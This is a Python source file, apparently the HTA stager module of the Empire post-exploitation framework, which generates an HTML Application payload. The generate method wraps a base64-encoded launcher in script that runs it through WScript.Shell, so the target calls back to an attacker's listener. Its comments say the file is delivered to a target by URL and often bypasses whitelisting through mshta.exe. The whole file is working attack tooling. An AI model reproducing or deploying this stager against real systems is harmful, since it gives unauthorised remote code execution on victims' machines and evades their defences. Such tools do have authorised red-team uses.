Empire/lib/stagers/hta.py

97 lines
3.6 KiB
Python

from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'HTA',
'Author': ['@subTee'],
'Description': ('Generates an HTA (HyperText Application) For Internet Explorer'),
'Comments': [
'You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output HTA to, otherwise displayed on the screen.',
'Required' : False,
'Value' : ''
},
'Base64' : {
'Description' : 'Switch. Base64 encode the output.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = False
if base64.lower() == "true":
encode = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code = "<html><head><script>var c= '"
code += launcher + "'\n"
code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>"
return code